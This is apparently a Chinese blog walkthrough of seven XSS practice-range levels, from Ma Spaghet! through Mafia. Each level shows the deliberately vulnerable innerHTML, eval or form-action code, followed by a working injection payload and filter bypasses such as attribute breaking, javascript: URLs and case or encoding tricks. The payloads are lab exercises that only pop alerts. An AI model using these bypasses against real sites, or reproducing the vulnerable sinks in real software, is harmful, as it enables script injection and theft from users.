复现dom破坏案例和靶场

目录

dom

Ma Spaghet!

Jefff

Ugandan Knuckles

Ricardo Milos

Ah That's Hawt

Ligma

Mafia


dom

Ma Spaghet!

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

可以观察到代码中,spahet直接放入了h2标签中,那么就可以直接执行,但如果输入的是

?somebody=<script>alert(1)</script>

那么是无法执行的,原因在于innerHTML中官方禁用了<script>这个标签。所以使用完成xss:

?somebody=<img%20src=1%20onerror="alert(1337)">

Jefff

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

传入的值是jeff,最后还是在h1中直接执行,在"Ma name ${jeff}"中可以进行注入。

jeff=aaa";alert(1337);"
#或者
jeff=aaa"-alert(1337);-"

Ugandan Knuckles

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

过滤了<>,但wey在input里面,使用可以使用“闭合,然后输入:

wey=aaa" onfocus=alert(1337) autofocus="

#onfocus是焦点,当焦点存在时会触发里面的函数。
#autofocus是自动对焦。

Ricardo Milos

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

 from表单的action进行触发:

ricardo=javascript:alert(1337)

Ah That's Hawt

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

过滤了()等,可以使用location变成字符串在进行编码。

markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

Ligma

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

采用编码的方式绕过:将alert(1337)先jsfuck编码,然后在用unicode编码一次。

Mafia

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

过滤了符号以及函数名,可以采用匿名函数,定义函数,然后因为js严格区分大小写,使用大写可以绕过过滤。

mafia=Function(/ALERT(1337)/.source.toLowerCase())()

#.source.toLowerCase()转化成小写

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值